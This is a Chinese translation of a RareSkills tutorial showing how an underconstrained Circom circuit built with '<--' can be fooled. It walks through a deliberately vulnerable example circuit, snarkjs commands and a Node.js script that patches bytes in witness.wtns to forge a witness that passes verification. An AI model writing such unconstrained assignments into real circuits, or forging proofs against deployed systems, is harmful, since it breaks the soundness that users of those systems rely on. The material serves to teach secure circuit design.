使用虚假证明攻击欠约束的Circom电路

本文深入探讨了 Circom 中的 <-- 操作符的一个潜在漏洞,展示了如何通过创建伪造的见证文件来利用这一漏洞,从而违背开发者对电路期望的假设。在详细的步骤中,介绍了生成有效证明的过程,以及如何修改二进制见证文件以实现攻击。此漏洞的理解对于开发安全的电路至关重要。

The <-- 运算符在 Circom 中可能是危险的,因为它将值分配给信号但不对其进行约束。那么你实际上是如何 利用 编写这个漏洞的POC(概念验证)的呢?

我们将要黑入以下电路:

pragma circom 2.1.8;

template Mul3() {

    signal input a;
    signal input b;
    signal input c;

    signal output out;

    signal i;

    a * b === 1;   // 强制 a * b === 1
    i <-- a * b;   // i 必须等于 1
    out <== i * c; // out 必须等于 c,因为 i === 1
}

component main{public [a, b, c]} = Mul3();

将此电路保存为 mul3.circom(缩写为乘以三个变量)。

电路似乎强制 ab 的乘积为 1,然后将 1 分配给 i

最后,out 被约束为 i * c。由于 i 似乎只能取值 1,因此 out 必须等于 c

这里的个错误在于 <-- 并没有创建一个约束,而是计算一个值并将其分配给 i。实际上,i 可以是我们想要的任何值,它不必是 a * b1

这个漏洞涉及分配一个不是 a * b === 1 的值给 i,使得 out ≠ c

总而言之,电路编写者 期望 out = c,但我们将违反此假设。在当前的示例中,没有造成什么伤害,但在实际应用中,如果两个信号必须具有相同的值,这可能会成为一个问题。

但我们究竟如何创建这个漏洞?

利用的步骤

生成有效的证明

要为 Circom 电路创建一个证明,我们首先需要为电路创建一个 input.json

{"a": "1", "b": "1", "c": "5"}

这将满足电路:

a * b === 1;   // 1 * 1 === 1
i <-- a * b;   // 1 <-- 1 * 1
out <== i * c; // 5 <== 1 * 5;
// out === c 正如开发者所期待的

我们使用以下命令将电路编译为 r1cs:

circom mul3.circom --r1cs --wasm --sym

然后,使用创建的 wasm 文件生成一个见证,使用 input.json 作为输入:

cd mul3_js/
node generate_witness.js mul3.wasm ../input.json ../witness.wtns
cd ..

我们可以通过以下命令查看 snarkjs 为我们计算的见证:

snarkjs wtns export json witness.wtns witness.json
cat witness.json

witness.json output

见证信号布局

见证向量中的第一个条目始终为 1。(这在我们的 r1cs 文章 中已有解释,读者可以查阅)。向量中其余元素是电路中的值。我们可以通过查看 input.jsonmul3.symwitness.json 文件来查看哪个元素对应哪个信号:

cat input.json
cat mul3.sym
cat witness.json

我们在下面的 witness.json 文件中显示输出并添加标签,用黄色标记:

witness signal labels

为了利用这个电路,我们想为 i 分配一个值,导致 out ≠ c。然而,Circom 不允许我们直接写入不是输入信号的信号,而 i 不是输入信号(可能这样做是为了让我们的黑客行为变得更难?)。(snarkjs 确实提供一个 fullprove API,似乎可以做到这一点,但这个 代码自 2021 年以来一直没有修复)。

示例恶意见证

一个这样的恶意见证:

[
    "1",
    "10", // out
    "1",   // a
    "1",   // b
    "5",   // c
    "2"    // i
]

这个见证将满足约束条件:

a * b === 1;   // 1 * 1 = 1
i <-- a * b;   // 2 <-- 1 * 1 是可以的,因为 <-- 不是一个约束!
out <== i * c; // 10 = 2 * 5;

现在,我们已经拥有了一个有效的见证,snarkjs 将为其创建证明:

snarkjs wtns check mul3.r1cs witness.wtns

snarkjs witness check

我们的目标是创建一个满足电路的见证,但违反预期属性,即 out = c

理解 witness.wtns 的布局

witness.wtns 是一个二进制文件。不幸的是,如上所述,Circom 和 snarkjs 不提供一个 API 将 json 见证向量输出为 .wtns 文件。可以通过查看生成它的源 代码 来确定 .wtns 文件的格式。然而,快速检查二进制文件就足够了。

我们在上述代码中看到它将一个 Uint8Array 写入文件。因此让我们使用以下代码将文件解析为 Uint8Array 并打印出来:

const fs = require('fs');

const filePath = 'witness.wtns';

const data = fs.readFileSync(filePath);

let data_arr = new Uint8Array(data);
console.dir(data_arr, {'maxArrayLength': null});

witness.wtns binary layout

在不深入探讨 witness.wtns 的格式细节之前,我们仍然可以看到我们的见证值按与 witness.json 相同的顺序排列!

witness binary values displayed

现在我们准备通过覆盖存储这些信号 iout 的值的二进制文件来创建一个假见证:

const fs = require('fs');

const filePath = 'witness.wtns';

const data = fs.readFileSync(filePath);
console.log("Before");
console.dir(data, {'maxArrayLength': null});

data[108] = 10; // `out`
data[236] = 2;  // `i`

console.log("After");
console.dir(data, {'maxArrayLength': null});

fs.writeFileSync('exploit_witness.wtns', data);

在运行我们创建假见证的代码后,我们可以看到 outi 对应的值已按计划更改(更改的字节用红框标注,其余部分保持不变):

highlighting changed bytes in witness.wtns

上述代码还为我们写入文件 exploit_witness.wtns,该文件仅是上面打印的字节数组。

当我们使用 snarkjs 验证 exploit_witness.wtns 与电路时:

snarkjs wtns check mul3.r1cs exploit_witness.wtns

snarkjs wtns check

见证满足电路!

从这里,我们可以简单地按照 Circom 文档中的证明步骤 创建一个假证明来利用该电路。

了解更多

请查看我们的 零知识课程,了解更多关于零知识证明的主题。

最初发布于 3 月 18 日

  • 原文链接: rareskills.io/post/under...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
RareSkills
RareSkills
https://www.rareskills.io/